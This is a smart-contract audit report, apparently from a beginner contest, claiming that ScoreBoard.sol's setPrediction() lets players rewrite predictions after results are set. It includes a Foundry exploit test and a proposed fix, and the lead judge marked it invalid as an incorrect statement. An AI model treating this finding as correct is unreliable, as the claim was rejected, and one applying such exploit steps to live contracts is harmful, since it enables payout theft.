Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Prediction Manipulation Vulnerability in ScoreBoard.sol After Result Has Been Known

Summary

This report identifies a critical vulnerability in the setPrediction() function within the ScoreBoard.sol contract. The current implementation allows players to change their predictions after each match result is known, due to the lack of proper access control in the setPrediction() function. This undermines the integrity and fairness of the betting system.

Vulnerability Details

The setPrediction() function, which sets a player's prediction for a given match, lacks adequate access control. As a result, players can alter their predictions after the match results have been entered by the Organizer. This allows for unfair manipulation of the game, as players can retroactively change their predictions to match the actual results, ensuring they always score points.

Impact

  • Fairness Compromised: Players can manipulate their predictions to ensure they always score points, compromising the fairness of the game.

  • Integrity Undermined: The betting system's integrity is undermined, as the scoring no longer reflects players' actual predictions made before the match.


POC

function test_Prediction_can_be_Manipulated_After_Result() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
//expect withdraw to revert because stranger 1 has negative point allthrough
vm.expectRevert( abi.encodeWithSelector(
ThePredicter__NotEligibleForWithdraw.selector
));
thePredicter.withdraw();
//update prediction to the correct score
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.First);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger.balance, 1.0077 ether);
vm.startPrank(stranger2);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger2.balance, 0.9837 ether);
vm.startPrank(stranger3);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger3.balance, 1.0077 ether);
}

Add the function above to ThePredicter.test.sol and run with forge t --mt test_Prediction_can_be_Manipulated_After_Result -vv
Tools Used

manual review/Foundry

Recommendations

1) Access Control: Restrict the function so that only authorized addresses, such as thePredicter.sol, can call it.

2) Time Restriction: Ensure that predictions can only be set or changed before the match starts. enforcing the time it was called was before the match

function setPrediction(
address player,
uint256 matchNumber,
Result result
+ ) public onlyPredicter{
- if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
+ if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
+ revert ThePredicter__PredictionsAreClosed();
+ }
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}

The lack of access control and time restrictions in the setPrediction() function poses a critical risk to the integrity and fairness of the betting system. By implementing the suggested controls, this vulnerability can be mitigated, ensuring that predictions are made and locked in before the match starts, maintaining a fair and trustworthy betting protocol.

Updates

Lead Judging Commences

NightHawK Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.